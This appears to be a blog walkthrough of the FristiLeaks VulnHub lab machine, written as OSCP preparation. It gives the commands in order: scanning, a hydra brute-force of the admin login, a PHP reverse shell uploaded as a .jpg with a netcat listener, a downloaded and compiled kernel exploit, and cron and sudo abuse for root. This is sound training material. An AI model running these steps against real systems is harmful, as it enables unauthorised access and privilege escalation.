This will be the first installment of a few VulnHub machines that I will be working on as I prepare for the OSCP exam. The ones that will be featured are recommendations for being similar to OSCP boxes.

Nmap -A -p-
Nikto -host


root@kali:~# nmap -A -p-

Starting Nmap 7.50 ( ) at 2017-07-07 21:54 EDT
Nmap scan report for
Host is up (0.00031s latency).
Not shown: 65534 filtered ports


80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

| http-methods:

|_  Potentially risky methods: TRACE

| http-robots.txt: 3 disallowed entries 

|_/cola /sisi /beer

|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose|WAP|storage-misc

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (93%), Ruckus embedded (87%), Drobo embedded (85%), Synology DiskStation Manager 5.X (85%)

OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/h:ruckus:zoneflex_r710 cpe:/h:drobo:5n cpe:/a:synology:diskstation_manager:5.2

Aggressive OS guesses: Linux 2.6.32 - 3.10 (93%), Linux 2.6.32 - 3.13 (93%), Linux 2.6.39 (90%), Linux 2.6.32 - 3.5 (88%), Linux 3.2 - 3.16 (87%), Linux 3.2 - 3.8 (87%), Linux 2.6.32 (87%), Linux 3.10 - 4.8 (87%), Linux 3.2 - 4.8 (87%), Linux 3.10 (87%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 1 hop



1   0.31 ms

OS and Service detection performed. Please report any incorrect results at .

Nmap done: 1 IP address (1 host up) scanned in 167.09 seconds
root@kali:~# nikto -host Nikto v2.1.6---------------------------------------------------------------------------+ Target IP: Target Hostname: Target Port:        80+ Start Time:         2017-07-07 22:08:03 (GMT-4)---------------------------------------------------------------------------+ Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3+ Server leaks inodes via ETags, header found with file /, inode: 12722, size: 703, mtime: Tue Nov 17 13:45:47 2015
+ The anti-clickjacking X-Frame-Options header is not present.+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Entry '/cola/' in robots.txt returned a non-forbidden or redirect HTTP code (200)+ Entry '/sisi/' in robots.txt returned a non-forbidden or redirect HTTP code (200)+ Entry '/beer/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 3 entries which should be manually viewed.
+ PHP/5.3.3 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8348 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time:           2017-07-07 22:08:30 (GMT-4) (27 seconds)---------------------------------------------------------------------------+ 1 host(s) tested

Manual Checks:

Sometimes, it is much easier to check servers that only have one or two ports open as you don’t get distracted by multiple ports and luckily this server only has the one port (TCP/80) open. Let’s check out the files/directories listed in robots.txt as these showed up in both the nmap and Nikto scans. This file provides a listing to crawlers of what directories they can or cannot scan. See for more information on this file. Below are the manual checks to the various directories listed.

Moving on, we see a directory listing of images. And checking this directory we see the image on /beer, /sisi, and /cola.

After going back over the scans, I noticed a connection between beer and cola as different beverages (while writing this, I checked Google and Sisi is also a drink in the Netherlands). By putting in the URL, we receive an admin login page.

Now that we have a login portal for the web application, let’s check the source to see if there is anything added or useful that gives us a clue to the application installed.

During this, I noticed that there was a section that was commented out and appears to go with the note at the top about the developer needing to do some cleanup.

Now we need to pull this base64 encoded image/text out to view the “hidden” message. I used the website to decode this base-64 text to an image.

This does not seem to get us very far. I recorded all upper-case letters and lower-case letters as separate items and the entire string. These were manually tried as various passwords to log into the web application. Next, I ran cewl against the website and added keKkeKKeKKeKkEkkEk to the list as that was contained in the image.

Command: Cewl -w fristi.txt

This pulls down a list of about 200 “words” that it found from the website. Let’s pull the usernames from this list if there are any and add in standard easy ones, otherwise, this would give us 40,000 attempts to use all 200 names with all 200 passwords. From the list, we have eezeepz and leet as possible usernames which have been added to the top of the admin list with defaults like admin and root. This brings the total attempts to 1200. Unfortunately, I added keKkeKKeKKeKkEkkEk to the end of the password list instead of the top as this would have completed immediately. Despite this mistake, the total time to brute force it took only about 30 seconds.

Command: hydra -L fuser -P fristi.txt http-post-form “/fristi/checklogin.php:myusername=^USER^&mypassword=^PASS^&Submit=Login:Wrong”

Let’s check to confirm that these credentials allow us to log in and were not a mistake in our parameters that we specified in Hydra. Success! This allows us to log in and appears to allow us to upload an image file.

Let’s test this by trying to upload HTML and a PHP file, but both file types fail.

Now, we know the file extension needs to end in either .png, .jpg, or .gif. Let’s go to /usr/share/webshells/php and copy one of the web shells to our desktop. Modify the contents to your host IP and a separate port. I prefer to use 443 as it is usually open on many workstations. Other good choices are 53 or 80 as these are commonly open. While here, let’s also modify the file extension to end in .jpg so we can upload it.

This allows us to upload the file.

Now we need to verify it uploads and that we can run the script to call back to our workstation. We have a few options for this by just checking the file or setting a null character after .php so the program runs the file instead of trying to display it as an image file. First, let’s check that the file exists on the web server.

This is a very good sign as this is fairly typical for remote PHP shells. We will start Netcat to listen on port 443 and refresh the page.

Command: nc -lvnp 443

Success! We now have a shell on this Linux server.

Privilege Escalation

Once you have a Linux shell always try to escalate it to an interactive shell. You can test this with a simple “sudo ls”. This command will prompt you for credentials or will display an error message like “sudo: sorry, you must have a tty to run sudo”. See examples below. To bypass this issue, we need to issue a command to receive an interactive shell but this does not always work, so multiple oine line options are included in this link. You can also just run the command “tty” from the shell to show if you are in an interactive shell or not.

Command: python -c ‘import pty; pty.spawn(“/bin/sh”)’

Now with an interactive shell, let’s go over some basic Linux privilege escalation checks.

First, we will check the version and search for privilege escalation exploits for the quick win. Unfortunately, the only experience that I have is with UDEV for a quick win but this does not seem to be vulnerable as Fristi is running Centos 6.7.

sh-4.1$ cat /etc/*-release
cat /etc/*-release
CentOS release 6.7 (Final)
CentOS release 6.7 (Final)
CentOS release 6.7 (Final)
sh-4.1$ cat /proc/version
cat /proc/version
Linux version 2.6.32-573.8.1.el6.x86_64 ( (gcc version 4.4.7 20120313 (Red Hat 4.4.7-16) (GCC) ) #1 SMP Tue Nov 10 18:01:38 UTC 2015

sh-4.1$ wget
--2017-07-10 16:47:31--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 2878 (2.8K) [text/x-csrc]
Saving to: `8572.c'

100%[======================================>] 2,878 --.-K/s in 0s

2017-07-10 16:47:31 (129 MB/s) - `8572.c' saved [2878/2878]

sh-4.1$ wget
--2017-07-10 16:47:41--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 37
Saving to: `run'

100%[======================================>] 37 --.-K/s in 0s

2017-07-10 16:47:41 (6.94 MB/s) - `run' saved [37/37]

sh-4.1$ gcc -o 8572 8572.c
gcc -o 8572 8572.c
sh-4.1$ chmod 755 8572
chmod 755 8572
sh-4.1$ ./8572 run
./8572 run

Now that we have mostly ruled out a few quick wins, let’s check for any interesting files. We find a file in “our” user directory which can be found by checking /etc/passwd.

Command: cat /etc/passwd

Output: eezeepz:x:500:500::/home/eezeepz:/bin/bash

So, we will run the following to check for any good files.

Command: ls -ahl /home/eezeepz


A = Includes hidden files.

H = Includes filesize

L= List the files/directories

Let’s read the .txt files and we get the following which appears to let us run a limited number of commands as admin.

Now we can test running some commands by placing them into the file called “runthis” in /tmp/. So, we will place the following command into a new file called runthis in the directory of tmp. This will grant everyone full access to the directory /home/admin/. This happened a few attempts as I tried right for /etc/shadow to dump hashes or change eezeepz to root but these attempts did not work.

Command: echo “/home/admin/chmod 777 /home/admin” > /tmp/runthis

Now that we have access to admin (after one minute), we will use some previous commands to view all files in the directory and read the contents. Below we will find a python script that looks to use a Caesar cipher (rot13). The other two files contain the same string and might be encrypted.

Analyzing the code, we see that it is a simple function that takes a string (STR) and first encodes it with base64.

Base64string= base64.b64encode(str)

Next, it reverses the order of the characters so 12345 would become 54321. Then it encrypts the data with rot13. Let’s take the string =RFn0AKnlMHMPIzpyuTI0ITG and decrypt it with rot 13 to get =ESa0NXayZUZCVmclhGV0VGT.

Once we have this we know we need to reverse the order of the characters which yields TGV0VGhlcmVCZUZyaXN0aSE=. Finally, we can decode it from base64 to get LetThereBeFristi!

The other encrypted passphrase appears to be useless (for now).

Encrypted: mVGZ303omkJLmy2pcuTq

Decrypted: thisisalsopw123


Since we have an interactive shell, let’s try to use these credentials. The only other individual account on the system is Fristigod.

Command: su fristigod

Since we can now log in as fristigod, let’s check their home directory located at /var/fristigod. I also checked /home/fristigod but this was empty outside of a few hidden bash files that appeared to be the default. Inside the directory is why we always use the parameter “h” with ls as it shows a hidden directory.

Command: ls -ahl

Luckily for us, the doCom file is owned by root and runs as root. This could be helpful if we can figure out how to use it. I ran the following command to check what type of file as when I read the contents it gave me what appears to be an ELF binary (Linux executable).

Command: file doCom

This command confirms that it is an ELF binary but we don’t know how to run it. I remember seeing a .bash_history in the directory above us so we will read that to see if there are any helpful commands. Doing so, we see a few attempts at running this file in sudo. We will now try our own command to see if we can get the process to run and identify the user.

Command: sudo -u fristi ./doCom id

Success!!! We can now run commands as root. To finish up, we will run another shell to our workstation as root and dump the secret.